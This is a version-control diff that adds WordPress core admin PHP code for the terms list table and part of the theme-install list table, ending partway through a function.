@@ -0,0 +1,635 @@
+<?php
+/**
+ * List Table API: WP_Terms_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying terms in a list table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Table
+ */
+class WP_Terms_List_Table extends WP_List_Table {
+
+	public $callback_args;
+
+	private $level;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @global string $post_type
+	 * @global string $taxonomy
+	 * @global string $action
+	 * @global object $tax
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		global $post_type, $taxonomy, $action, $tax;
+
+		parent::__construct( array(
+			'plural' => 'tags',
+			'singular' => 'tag',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+
+		$action    = $this->screen->action;
+		$post_type = $this->screen->post_type;
+		$taxonomy  = $this->screen->taxonomy;
+
+		if ( empty( $taxonomy ) )
+			$taxonomy = 'post_tag';
+
+		if ( ! taxonomy_exists( $taxonomy ) )
+			wp_die( __( 'Invalid taxonomy.' ) );
+
+		$tax = get_taxonomy( $taxonomy );
+
+		// @todo Still needed? Maybe just the show_ui part.
+		if ( empty( $post_type ) || !in_array( $post_type, get_post_types( array( 'show_ui' => true ) ) ) )
+			$post_type = 'post';
+
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		return current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->manage_terms );
+	}
+
+	/**
+	 */
+	public function prepare_items() {
+		$tags_per_page = $this->get_items_per_page( 'edit_' . $this->screen->taxonomy . '_per_page' );
+
+		if ( 'post_tag' === $this->screen->taxonomy ) {
+			/**
+			 * Filters the number of terms displayed per page for the Tags list table.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param int $tags_per_page Number of tags to be displayed. Default 20.
+			 */
+			$tags_per_page = apply_filters( 'edit_tags_per_page', $tags_per_page );
+
+			/**
+			 * Filters the number of terms displayed per page for the Tags list table.
+			 *
+			 * @since 2.7.0
+			 * @deprecated 2.8.0 Use edit_tags_per_page instead.
+			 *
+			 * @param int $tags_per_page Number of tags to be displayed. Default 20.
+			 */
+			$tags_per_page = apply_filters( 'tagsperpage', $tags_per_page );
+		} elseif ( 'category' === $this->screen->taxonomy ) {
+			/**
+			 * Filters the number of terms displayed per page for the Categories list table.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param int $tags_per_page Number of categories to be displayed. Default 20.
+			 */
+			$tags_per_page = apply_filters( 'edit_categories_per_page', $tags_per_page );
+		}
+
+		$search = !empty( $_REQUEST['s'] ) ? trim( wp_unslash( $_REQUEST['s'] ) ) : '';
+
+		$args = array(
+			'search' => $search,
+			'page' => $this->get_pagenum(),
+			'number' => $tags_per_page,
+		);
+
+		if ( !empty( $_REQUEST['orderby'] ) )
+			$args['orderby'] = trim( wp_unslash( $_REQUEST['orderby'] ) );
+
+		if ( !empty( $_REQUEST['order'] ) )
+			$args['order'] = trim( wp_unslash( $_REQUEST['order'] ) );
+
+		$this->callback_args = $args;
+
+		$this->set_pagination_args( array(
+			'total_items' => wp_count_terms( $this->screen->taxonomy, compact( 'search' ) ),
+			'per_page' => $tags_per_page,
+		) );
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function has_items() {
+		// todo: populate $this->items in prepare_items()
+		return true;
+	}
+
+	/**
+	 */
+	public function no_items() {
+		echo get_taxonomy( $this->screen->taxonomy )->labels->not_found;
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_bulk_actions() {
+		$actions = array();
+
+		if ( current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->delete_terms ) ) {
+			$actions['delete'] = __( 'Delete' );
+		}
+
+		return $actions;
+	}
+
+	/**
+	 *
+	 * @return string
+	 */
+	public function current_action() {
+		if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['delete_tags'] ) && ( 'delete' === $_REQUEST['action'] || 'delete' === $_REQUEST['action2'] ) )
+			return 'bulk-delete';
+
+		return parent::current_action();
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	public function get_columns() {
+		$columns = array(
+			'cb'          => '<input type="checkbox" />',
+			'name'        => _x( 'Name', 'term name' ),
+			'description' => __( 'Description' ),
+			'slug'        => __( 'Slug' ),
+		);
+
+		if ( 'link_category' === $this->screen->taxonomy ) {
+			$columns['links'] = __( 'Links' );
+		} else {
+			$columns['posts'] = _x( 'Count', 'Number/count of items' );
+		}
+
+		return $columns;
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_sortable_columns() {
+		return array(
+			'name'        => 'name',
+			'description' => 'description',
+			'slug'        => 'slug',
+			'posts'       => 'count',
+			'links'       => 'count'
+		);
+	}
+
+	/**
+	 */
+	public function display_rows_or_placeholder() {
+		$taxonomy = $this->screen->taxonomy;
+
+		$args = wp_parse_args( $this->callback_args, array(
+			'page' => 1,
+			'number' => 20,
+			'search' => '',
+			'hide_empty' => 0
+		) );
+
+		$page = $args['page'];
+
+		// Set variable because $args['number'] can be subsequently overridden.
+		$number = $args['number'];
+
+		$args['offset'] = $offset = ( $page - 1 ) * $number;
+
+		// Convert it to table rows.
+		$count = 0;
+
+		if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $args['orderby'] ) ) {
+			// We'll need the full set of terms then.
+			$args['number'] = $args['offset'] = 0;
+		}
+		$terms = get_terms( $taxonomy, $args );
+
+		if ( empty( $terms ) || ! is_array( $terms ) ) {
+			echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">';
+			$this->no_items();
+			echo '</td></tr>';
+			return;
+		}
+
+		if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $args['orderby'] ) ) {
+			if ( ! empty( $args['search'] ) ) {// Ignore children on searches.
+				$children = array();
+			} else {
+				$children = _get_term_hierarchy( $taxonomy );
+			}
+			// Some funky recursion to get the job done( Paging & parents mainly ) is contained within, Skip it for non-hierarchical taxonomies for performance sake
+			$this->_rows( $taxonomy, $terms, $children, $offset, $number, $count );
+		} else {
+			foreach ( $terms as $term ) {
+				$this->single_row( $term );
+			}
+		}
+	}
+
+	/**
+	 * @param string $taxonomy
+	 * @param array $terms
+	 * @param array $children
+	 * @param int   $start
+	 * @param int   $per_page
+	 * @param int   $count
+	 * @param int   $parent
+	 * @param int   $level
+	 */
+	private function _rows( $taxonomy, $terms, &$children, $start, $per_page, &$count, $parent = 0, $level = 0 ) {
+
+		$end = $start + $per_page;
+
+		foreach ( $terms as $key => $term ) {
+
+			if ( $count >= $end )
+				break;
+
+			if ( $term->parent != $parent && empty( $_REQUEST['s'] ) )
+				continue;
+
+			// If the page starts in a subtree, print the parents.
+			if ( $count == $start && $term->parent > 0 && empty( $_REQUEST['s'] ) ) {
+				$my_parents = $parent_ids = array();
+				$p = $term->parent;
+				while ( $p ) {
+					$my_parent = get_term( $p, $taxonomy );
+					$my_parents[] = $my_parent;
+					$p = $my_parent->parent;
+					if ( in_array( $p, $parent_ids ) ) // Prevent parent loops.
+						break;
+					$parent_ids[] = $p;
+				}
+				unset( $parent_ids );
+
+				$num_parents = count( $my_parents );
+				while ( $my_parent = array_pop( $my_parents ) ) {
+					echo "\t";
+					$this->single_row( $my_parent, $level - $num_parents );
+					$num_parents--;
+				}
+			}
+
+			if ( $count >= $start ) {
+				echo "\t";
+				$this->single_row( $term, $level );
+			}
+
+			++$count;
+
+			unset( $terms[$key] );
+
+			if ( isset( $children[$term->term_id] ) && empty( $_REQUEST['s'] ) )
+				$this->_rows( $taxonomy, $terms, $children, $start, $per_page, $count, $term->term_id, $level + 1 );
+		}
+	}
+
+	/**
+	 * @global string $taxonomy
+	 * @param WP_Term $tag Term object.
+	 * @param int $level
+	 */
+	public function single_row( $tag, $level = 0 ) {
+		global $taxonomy;
+ 		$tag = sanitize_term( $tag, $taxonomy );
+
+		$this->level = $level;
+
+		echo '<tr id="tag-' . $tag->term_id . '">';
+		$this->single_row_columns( $tag );
+		echo '</tr>';
+	}
+
+	/**
+	 * @param WP_Term $tag Term object.
+	 * @return string
+	 */
+	public function column_cb( $tag ) {
+		if ( current_user_can( 'delete_term', $tag->term_id ) ) {
+			return '<label class="screen-reader-text" for="cb-select-' . $tag->term_id . '">' . sprintf( __( 'Select %s' ), $tag->name ) . '</label>'
+				. '<input type="checkbox" name="delete_tags[]" value="' . $tag->term_id . '" id="cb-select-' . $tag->term_id . '" />';
+		}
+
+		return '&nbsp;';
+	}
+
+	/**
+	 * @param WP_Term $tag Term object.
+	 * @return string
+	 */
+	public function column_name( $tag ) {
+		$taxonomy = $this->screen->taxonomy;
+
+		$pad = str_repeat( '&#8212; ', max( 0, $this->level ) );
+
+		/**
+		 * Filters display of the term name in the terms list table.
+		 *
+		 * The default output may include padding due to the term's
+		 * current level in the term hierarchy.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @see WP_Terms_List_Table::column_name()
+		 *
+		 * @param string $pad_tag_name The term name, padded if not top-level.
+		 * @param WP_Term $tag         Term object.
+		 */
+		$name = apply_filters( 'term_name', $pad . ' ' . $tag->name, $tag );
+
+		$qe_data = get_term( $tag->term_id, $taxonomy, OBJECT, 'edit' );
+
+		$uri = wp_doing_ajax() ? wp_get_referer() : $_SERVER['REQUEST_URI'];
+
+		$edit_link = add_query_arg(
+			'wp_http_referer',
+			urlencode( wp_unslash( $uri ) ),
+			get_edit_term_link( $tag->term_id, $taxonomy, $this->screen->post_type )
+		);
+
+		$out = sprintf(
+			'<strong><a class="row-title" href="%s" aria-label="%s">%s</a></strong><br />',
+			esc_url( $edit_link ),
+			/* translators: %s: taxonomy term name */
+			esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $tag->name ) ),
+			$name
+		);
+
+		$out .= '<div class="hidden" id="inline_' . $qe_data->term_id . '">';
+		$out .= '<div class="name">' . $qe_data->name . '</div>';
+
+		/** This filter is documented in wp-admin/edit-tag-form.php */
+		$out .= '<div class="slug">' . apply_filters( 'editable_slug', $qe_data->slug, $qe_data ) . '</div>';
+		$out .= '<div class="parent">' . $qe_data->parent . '</div></div>';
+
+		return $out;
+	}
+
+	/**
+	 * Gets the name of the default primary column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string Name of the default primary column, in this case, 'name'.
+	 */
+	protected function get_default_primary_column_name() {
+		return 'name';
+	}
+
+	/**
+	 * Generates and displays row action links.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Term $tag         Tag being acted upon.
+	 * @param string  $column_name Current column name.
+	 * @param string  $primary     Primary column name.
+	 * @return string Row actions output for terms.
+	 */
+	protected function handle_row_actions( $tag, $column_name, $primary ) {
+		if ( $primary !== $column_name ) {
+			return '';
+		}
+
+		$taxonomy = $this->screen->taxonomy;
+		$tax = get_taxonomy( $taxonomy );
+		$uri = wp_doing_ajax() ? wp_get_referer() : $_SERVER['REQUEST_URI'];
+
+		$edit_link = add_query_arg(
+			'wp_http_referer',
+			urlencode( wp_unslash( $uri ) ),
+			get_edit_term_link( $tag->term_id, $taxonomy, $this->screen->post_type )
+		);
+
+		$actions = array();
+		if ( current_user_can( 'edit_term', $tag->term_id ) ) {
+			$actions['edit'] = sprintf(
+				'<a href="%s" aria-label="%s">%s</a>',
+				esc_url( $edit_link ),
+				/* translators: %s: taxonomy term name */
+				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $tag->name ) ),
+				__( 'Edit' )
+			);
+			$actions['inline hide-if-no-js'] = sprintf(
+				'<a href="#" class="editinline aria-button-if-js" aria-label="%s">%s</a>',
+				/* translators: %s: taxonomy term name */
+				esc_attr( sprintf( __( 'Quick edit &#8220;%s&#8221; inline' ), $tag->name ) ),
+				__( 'Quick&nbsp;Edit' )
+			);
+		}
+		if ( current_user_can( 'delete_term', $tag->term_id ) ) {
+			$actions['delete'] = sprintf(
+				'<a href="%s" class="delete-tag aria-button-if-js" aria-label="%s">%s</a>',
+				wp_nonce_url( "edit-tags.php?action=delete&amp;taxonomy=$taxonomy&amp;tag_ID=$tag->term_id", 'delete-tag_' . $tag->term_id ),
+				/* translators: %s: taxonomy term name */
+				esc_attr( sprintf( __( 'Delete &#8220;%s&#8221;' ), $tag->name ) ),
+				__( 'Delete' )
+			);
+		}
+		if ( $tax->public ) {
+			$actions['view'] = sprintf(
+				'<a href="%s" aria-label="%s">%s</a>',
+				get_term_link( $tag ),
+				/* translators: %s: taxonomy term name */
+				esc_attr( sprintf( __( 'View &#8220;%s&#8221; archive' ), $tag->name ) ),
+				__( 'View' )
+			);
+		}
+
+		/**
+		 * Filters the action links displayed for each term in the Tags list table.
+		 *
+		 * @since 2.8.0
+		 * @deprecated 3.0.0 Use {$taxonomy}_row_actions instead.
+		 *
+		 * @param array  $actions An array of action links to be displayed. Default
+		 *                        'Edit', 'Quick Edit', 'Delete', and 'View'.
+		 * @param WP_Term $tag    Term object.
+		 */
+		$actions = apply_filters( 'tag_row_actions', $actions, $tag );
+
+		/**
+		 * Filters the action links displayed for each term in the terms list table.
+		 *
+		 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array  $actions An array of action links to be displayed. Default
+		 *                        'Edit', 'Quick Edit', 'Delete', and 'View'.
+		 * @param WP_Term $tag    Term object.
+		 */
+		$actions = apply_filters( "{$taxonomy}_row_actions", $actions, $tag );
+
+		return $this->row_actions( $actions );
+	}
+
+	/**
+	 * @param WP_Term $tag Term object.
+	 * @return string
+	 */
+	public function column_description( $tag ) {
+		if ( $tag->description ) {
+			return $tag->description;
+		} else {
+			return '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . __( 'No description' ) . '</span>';
+		}
+	}
+
+	/**
+	 * @param WP_Term $tag Term object.
+	 * @return string
+	 */
+	public function column_slug( $tag ) {
+		/** This filter is documented in wp-admin/edit-tag-form.php */
+		return apply_filters( 'editable_slug', $tag->slug, $tag );
+	}
+
+	/**
+	 * @param WP_Term $tag Term object.
+	 * @return string
+	 */
+	public function column_posts( $tag ) {
+		$count = number_format_i18n( $tag->count );
+
+		$tax = get_taxonomy( $this->screen->taxonomy );
+
+		$ptype_object = get_post_type_object( $this->screen->post_type );
+		if ( ! $ptype_object->show_ui )
+			return $count;
+
+		if ( $tax->query_var ) {
+			$args = array( $tax->query_var => $tag->slug );
+		} else {
+			$args = array( 'taxonomy' => $tax->name, 'term' => $tag->slug );
+		}
+
+		if ( 'post' != $this->screen->post_type )
+			$args['post_type'] = $this->screen->post_type;
+
+		if ( 'attachment' === $this->screen->post_type )
+			return "<a href='" . esc_url ( add_query_arg( $args, 'upload.php' ) ) . "'>$count</a>";
+
+		return "<a href='" . esc_url ( add_query_arg( $args, 'edit.php' ) ) . "'>$count</a>";
+	}
+
+	/**
+	 * @param WP_Term $tag Term object.
+	 * @return string
+	 */
+	public function column_links( $tag ) {
+		$count = number_format_i18n( $tag->count );
+		if ( $count )
+			$count = "<a href='link-manager.php?cat_id=$tag->term_id'>$count</a>";
+		return $count;
+	}
+
+	/**
+	 * @param WP_Term $tag Term object.
+	 * @param string $column_name
+	 * @return string
+	 */
+	public function column_default( $tag, $column_name ) {
+		/**
+		 * Filters the displayed columns in the terms list table.
+		 *
+		 * The dynamic portion of the hook name, `$this->screen->taxonomy`,
+		 * refers to the slug of the current taxonomy.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $string      Blank string.
+		 * @param string $column_name Name of the column.
+		 * @param int    $term_id     Term ID.
+		 */
+		return apply_filters( "manage_{$this->screen->taxonomy}_custom_column", '', $column_name, $tag->term_id );
+	}
+
+	/**
+	 * Outputs the hidden row displayed when inline editing
+	 *
+	 * @since 3.1.0
+	 */
+	public function inline_edit() {
+		$tax = get_taxonomy( $this->screen->taxonomy );
+
+		if ( ! current_user_can( $tax->cap->edit_terms ) )
+			return;
+?>
+
+	<form method="get"><table style="display: none"><tbody id="inlineedit">
+		<tr id="inline-edit" class="inline-edit-row" style="display: none"><td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">
+
+			<fieldset>
+				<legend class="inline-edit-legend"><?php _e( 'Quick Edit' ); ?></legend>
+				<div class="inline-edit-col">
+				<label>
+					<span class="title"><?php _ex( 'Name', 'term name' ); ?></span>
+					<span class="input-text-wrap"><input type="text" name="name" class="ptitle" value="" /></span>
+				</label>
+	<?php if ( !global_terms_enabled() ) { ?>
+				<label>
+					<span class="title"><?php _e( 'Slug' ); ?></span>
+					<span class="input-text-wrap"><input type="text" name="slug" class="ptitle" value="" /></span>
+				</label>
+	<?php } ?>
+			</div></fieldset>
+	<?php
+
+		$core_columns = array( 'cb' => true, 'description' => true, 'name' => true, 'slug' => true, 'posts' => true );
+
+		list( $columns ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			if ( isset( $core_columns[$column_name] ) )
+				continue;
+
+			/** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */
+			do_action( 'quick_edit_custom_box', $column_name, 'edit-tags', $this->screen->taxonomy );
+		}
+
+	?>
+
+		<div class="inline-edit-save submit">
+			<button type="button" class="cancel button alignleft"><?php _e( 'Cancel' ); ?></button>
+			<button type="button" class="save button button-primary alignright"><?php echo $tax->labels->update_item; ?></button>
+			<span class="spinner"></span>
+			<?php wp_nonce_field( 'taxinlineeditnonce', '_inline_edit', false ); ?>
+			<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $this->screen->taxonomy ); ?>" />
+			<input type="hidden" name="post_type" value="<?php echo esc_attr( $this->screen->post_type ); ?>" />
+			<br class="clear" />
+			<div class="notice notice-error notice-alt inline hidden">
+				<p class="error"></p>
+			</div>
+		</div>
+		</td></tr>
+		</tbody></table></form>
+	<?php
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-theme-install-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-theme-install-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-theme-install-list-table.php	(revision 56912)
@@ -0,0 +1,469 @@
+<?php
+/**
+ * List Table API: WP_Theme_Install_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying themes to install in a list table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_Themes_List_Table
+ */
+class WP_Theme_Install_List_Table extends WP_Themes_List_Table {
+
+	public $features = array();
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		return current_user_can( 'install_themes' );
+	}
+
+	/**
+	 *
+	 * @global array  $tabs
+	 * @global string $tab
+	 * @global int    $paged
+	 * @global string $type
+	 * @global array  $theme_field_defaults
+	 */
+	public function prepare_items() {
+		include( ABSPATH . 'wp-admin/includes/theme-install.php' );
+
+		global $tabs, $tab, $paged, $type, $theme_field_defaults;
+		wp_reset_vars( array( 'tab' ) );
+
+		$search_terms = array();
+		$search_string = '';
+		if ( ! empty( $_REQUEST['s'] ) ){
+			$search_string = strtolower( wp_unslash( $_REQUEST['s'] ) );
+			$search_terms = array_unique( array_filter( array_map( 'trim', explode( ',', $search_string ) ) ) );
+		}
+
+		if ( ! empty( $_REQUEST['features'] ) )
+			$this->features = $_REQUEST['features'];
+
+		$paged = $this->get_pagenum();
+
+		$per_page = 36;
+
+		// These are the tabs which are shown on the page,
+		$tabs = array();
+		$tabs['dashboard'] = __( 'Search' );
+		if ( 'search' === $tab )
+			$tabs['search']	= __( 'Search Results' );
+		$tabs['upload'] = __( 'Upload' );
+		$tabs['featured'] = _x( 'Featured', 'themes' );
+		//$tabs['popular']  = _x( 'Popular', 'themes' );
+		$tabs['new']      = _x( 'Latest', 'themes' );
+		$tabs['updated']  = _x( 'Recently Updated', 'themes' );
+
+		$nonmenu_tabs = array( 'theme-information' ); // Valid actions to perform which do not have a Menu item.
+
+		/** This filter is documented in wp-admin/theme-install.php */
+		$tabs = apply_filters( 'install_themes_tabs', $tabs );
+
+		/**
+		 * Filters tabs not associated with a menu item on the Install Themes screen.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array $nonmenu_tabs The tabs that don't have a menu item on
+		 *                            the Install Themes screen.
+		 */
+		$nonmenu_tabs = apply_filters( 'install_themes_nonmenu_tabs', $nonmenu_tabs );
+
+		// If a non-valid menu tab has been selected, And it's not a non-menu action.
+		if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs ) ) )
+			$tab = key( $tabs );
+
+		$args = array( 'page' => $paged, 'per_page' => $per_page, 'fields' => $theme_field_defaults );
+
+		switch ( $tab ) {
+			case 'search':
+				$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
+				switch ( $type ) {
+					case 'tag':
+						$args['tag'] = array_map( 'sanitize_key', $search_terms );
+						break;
+					case 'term':
+						$args['search'] = $search_string;
+						break;
+					case 'author':
+						$args['author'] = $search_string;
+						break;
+				}
+
+				if ( ! empty( $this->features ) ) {
+					$args['tag'] = $this->features;
+					$_REQUEST['s'] = implode( ',', $this->features );
+					$_REQUEST['type'] = 'tag';
+				}
+
+				add_action( 'install_themes_table_header', 'install_theme_search_form', 10, 0 );
+				break;
+
+			case 'featured':
+			// case 'popular':
+			case 'new':
+			case 'updated':
+				$args['browse'] = $tab;
+				break;
+
+			default:
+				$args = false;
+				break;
+		}
+
+		/**
+		 * Filters API request arguments for each Install Themes screen tab.
+		 *
+		 * The dynamic portion of the hook name, `$tab`, refers to the theme install
+		 * tabs. Default tabs are 'dashboard', 'search', 'upload', 'featured',
+		 * 'new', and 'updated'.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $args An array of themes API arguments.
+		 */
+		$args = apply_filters( "install_themes_table_api_args_{$tab}", $args );
+
+		if ( ! $args )
+			return;
+
+		$api = themes_api( 'query_themes', $args );
+
+		if ( is_wp_error( $api ) )
+			wp_die( $api->get_error_message() . '</p> <p><a href="#" onclick="document.location.reload(); return false;">' . __( 'Try again' ) . '</a>' );
+
+		$this->items = $api->themes;
+
+		$this->set_pagination_args( array(
+			'total_items' => $api->info['results'],
+			'per_page' => $args['per_page'],
+			'infinite_scroll' => true,
+		) );
+	}
+
+	/**
+	 */
+	public function no_items() {
+		_e( 'No themes match your request.' );
+	}
+
+	/**
+	 *
+	 * @global array $tabs
+	 * @global string $tab
+	 * @return array
+	 */
+	protected function get_views() {
+		global $tabs, $tab;
+
+		$display_tabs = array();
+		foreach ( (array) $tabs as $action => $text ) {
+			$current_link_attributes = ( $action === $tab ) ? ' class="current" aria-current="page"' : '';
+			$href = self_admin_url('theme-install.php?tab=' . $action);
+			$display_tabs['theme-install-'.$action] = "<a href='$href'$current_link_attributes>$text</a>";
+		}
+
+		return $display_tabs;
+	}
+
+	/**
+	 */
+	public function display() {
+		wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' );
+?>
+		<div class="tablenav top themes">
+			<div class="alignleft actions">
+				<?php
+				/**
+				 * Fires in the Install Themes list table header.
+				 *
+				 * @since 2.8.0
+				 */
+				do_action( 'install_themes_table_header' );
+				?>
+			</div>
+			<?php $this->pagination( 'top' ); ?>
+			<br class="clear" />
+		</div>
+
+		<div id="availablethemes">
+			<?php $this->display_rows_or_placeholder(); ?>
+		</div>
+
+		<?php
+		$this->tablenav( 'bottom' );
+	}
+
+	/**
+	 */
+	public function display_rows() {
+		$themes = $this->items;
+		foreach ( $themes as $theme ) {
+				?>
+				<div class="available-theme installable-theme"><?php
+					$this->single_row( $theme );
+				?></div>
+		<?php } // end foreach $theme_names
+
+		$this->theme_installer();
+	}
+
+	/**
+	 * Prints a theme from the WordPress.org API.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @global array $themes_allowedtags
+	 *
+	 * @param object $theme {
+	 *     An object that contains theme data returned by the WordPress.org API.
+	 *
+	 *     @type string $name           Theme name, e.g. 'Twenty Nineteen'.
+	 *     @type string $slug           Theme slug, e.g. 'twentynineteen'.
+	 *     @type string $version        Theme version, e.g. '1.1'.
+	 *     @type string $author         Theme author username, e.g. 'melchoyce'.
+	 *     @type string $preview_url    Preview URL, e.g. 'http://2019.wordpress.net/'.
+	 *     @type string $screenshot_url Screenshot URL, e.g. 'https://wordpress.org/themes/twentynineteen/'.
+	 *     @type float  $rating         Rating score.
+	 *     @type int    $num_ratings    The number of ratings.
+	 *     @type string $homepage       Theme homepage, e.g. 'https://wordpress.org/themes/twentynineteen/'.
+	 *     @type string $description    Theme description.
+	 *     @type string $download_link  Theme ZIP download URL.
+	 * }
+	 */
+	public function single_row( $theme ) {
+		global $themes_allowedtags;
+
+		if ( empty( $theme ) )
+			return;
+
+		$name   = wp_kses( $theme->name,   $themes_allowedtags );
+		$author = wp_kses( $theme->author, $themes_allowedtags );
+
+		$preview_title = sprintf( __('Preview &#8220;%s&#8221;'), $name );
+		$preview_url   = add_query_arg( array(
+			'tab'   => 'theme-information',
+			'theme' => $theme->slug,
+		), self_admin_url( 'theme-install.php' ) );
+
+		$actions = array();
+
+		$install_url = add_query_arg( array(
+			'action' => 'install-theme',
+			'theme'  => $theme->slug,
+		), self_admin_url( 'update.php' ) );
+
+		$update_url = add_query_arg( array(
+			'action' => 'upgrade-theme',
+			'theme'  => $theme->slug,
+		), self_admin_url( 'update.php' ) );
+
+		$status = $this->_get_theme_status( $theme );
+
+		switch ( $status ) {
+			case 'update_available':
+				$actions[] = '<a class="install-now" href="' . esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ) . '" title="' . esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ) . '">' . __( 'Update' ) . '</a>';
+				break;
+			case 'newer_installed':
+			case 'latest_installed':
+				$actions[] = '<span class="install-now" title="' . esc_attr__( 'This theme is already installed and is up to date' ) . '">' . _x( 'Installed', 'theme' ) . '</span>';
+				break;
+			case 'install':
+			default:
+				$actions[] = '<a class="install-now" href="' . esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ) . '" title="' . esc_attr( sprintf( __( 'Install %s' ), $name ) ) . '">' . __( 'Install Now' ) . '</a>';
+				break;
+		}
+
+		$actions[] = '<a class="install-theme-preview" href="' . esc_url( $preview_url ) . '" title="' . esc_attr( sprintf( __( 'Preview %s' ), $name ) ) . '">' . __( 'Preview' ) . '</a>';
+
+		/**
+		 * Filters the install action links for a theme in the Install Themes list table.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array    $actions An array of theme action hyperlinks. Defaults are
+		 *                          links to Install Now, Preview, and Details.
+		 * @param WP_Theme $theme   Theme object.
+		 */
+		$actions = apply_filters( 'theme_install_actions', $actions, $theme );
+
+		?>
+		<a class="screenshot install-theme-preview" href="<?php echo esc_url( $preview_url ); ?>" title="<?php echo esc_attr( $preview_title ); ?>">
+			<img src="<?php echo esc_url( $theme->screenshot_url ); ?>" width="150" alt="" />
+		</a>
+
+		<h3><?php echo $name; ?></h3>
+		<div class="theme-author"><?php printf( __( 'By %s' ), $author ); ?></div>
+
+		<div class="action-links">
+			<ul>
+				<?php foreach ( $actions as $action ): ?>
+					<li><?php echo $action; ?></li>
+				<?php endforeach; ?>
+				<li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e('Details') ?></a></li>
+			</ul>
+		</div>
+
+		<?php
+		$this->install_theme_info( $theme );
+	}
+
+	/**
+	 * Prints the wrapper for the theme installer.
+	 */
+	public function theme_installer() {
+		?>
+		<div id="theme-installer" class="wp-full-overlay expanded">
+			<div class="wp-full-overlay-sidebar">
+				<div class="wp-full-overlay-header">
+					<a href="#" class="close-full-overlay button"><?php _e( 'Close' ); ?></a>
+					<span class="theme-install"></span>
+				</div>
+				<div class="wp-full-overlay-sidebar-content">
+					<div class="install-theme-info"></div>
+				</div>
+				<div class="wp-full-overlay-footer">
+					<button type="button" class="collapse-sidebar button" aria-expanded="true" aria-label="<?php esc_attr_e( 'Collapse Sidebar' ); ?>">
+						<span class="collapse-sidebar-arrow"></span>
+						<span class="collapse-sidebar-label"><?php _e( 'Collapse' ); ?></span>
+					</button>
+				</div>
+			</div>
+			<div class="wp-full-overlay-main"></div>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Prints the wrapper for the theme installer with a provided theme's data.
+	 * Used to make the theme installer work for no-js.
+	 *
+	 * @param object $theme - A WordPress.org Theme API object.
+	 */
+	public function theme_installer_single( $theme ) {
+		?>
+		<div id="theme-installer" class="wp-full-overlay single-theme">
+			<div class="wp-full-overlay-sidebar">
+				<?php $this->install_theme_info( $theme ); ?>
+			</div>
+			<div class="wp-full-overlay-main">
+				<iframe src="<?php echo esc_url( $theme->preview_url ); ?>"></iframe>
+			</div>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Prints the info for a theme (to be used in the theme installer modal).
+	 *
+	 * @global array $themes_allowedtags
+	 *
+	 * @param object $theme - A WordPress.org Theme API object.
+	 */
+	public function install_theme_info( $theme ) {
+		global $themes_allowedtags;
+
+		if ( empty( $theme ) )
+			return;
+
+		$name   = wp_kses( $theme->name,   $themes_allowedtags );
+		$author = wp_kses( $theme->author, $themes_allowedtags );
+
+		$install_url = add_query_arg( array(
+			'action' => 'install-theme',
+			'theme'  => $theme->slug,
+		), self_admin_url( 'update.php' ) );
+
+		$update_url = add_query_arg( array(
+			'action' => 'upgrade-theme',
+			'theme'  => $theme->slug,
+		), self_admin_url( 'update.php' ) );
+
+		$status = $this->_get_theme_status( $theme );
+
+		?>
+		<div class="install-theme-info"><?php
+			switch ( $status ) {
+				case 'update_available':
